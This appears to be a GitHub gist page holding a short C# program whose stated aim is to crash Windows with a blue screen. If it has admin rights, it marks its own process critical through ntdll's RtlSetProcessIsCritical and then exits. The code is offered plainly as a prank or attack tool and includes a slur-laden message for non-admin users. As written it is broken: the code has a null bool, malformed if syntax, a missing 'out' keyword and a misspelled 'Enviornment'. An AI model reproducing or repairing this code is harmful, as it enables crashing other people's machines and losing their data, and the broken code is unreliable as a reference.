-
-
Save decay88/85df17f41dac8f9322ac147afc0e4f04 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// BSOD Via RtelSetProcessIsCritical by Souhardya Sardar @subversionzero | |
// https://www.opensc.io/showthread.php?t=12868&page=2 | |
using System; | |
using System.Runtime.InteropServices; | |
namespace Die | |
{ | |
class Program | |
{ | |
public bool IsAdmin() // detect admin rights :3 | |
{ | |
return (new WindowsPrincipal(WindowsIdentity.GetCurrent())) | |
.IsInRole(WindowsBuiltInRole.Administrator); | |
} | |
[DllImport("ntdll.dll", CharSet = CharSet.Unicode)] | |
public static extern int RtlSetProcessIsCritical(bool bNew, out bool pbOld, bool bNeedScb); | |
static void Main(string[] args) | |
{ | |
bool pb0ld = null; | |
object lol = pb0ld; | |
if IsAdmin() | |
{ | |
RtlSetProcessIsCritical(true, pb0ld, false); // Set process as critical | |
Enviornment.Exit(0); // and p00f xD | |
} | |
else | |
{ | |
Console.Write("Run as admin niBBa"); | |
} | |
} | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment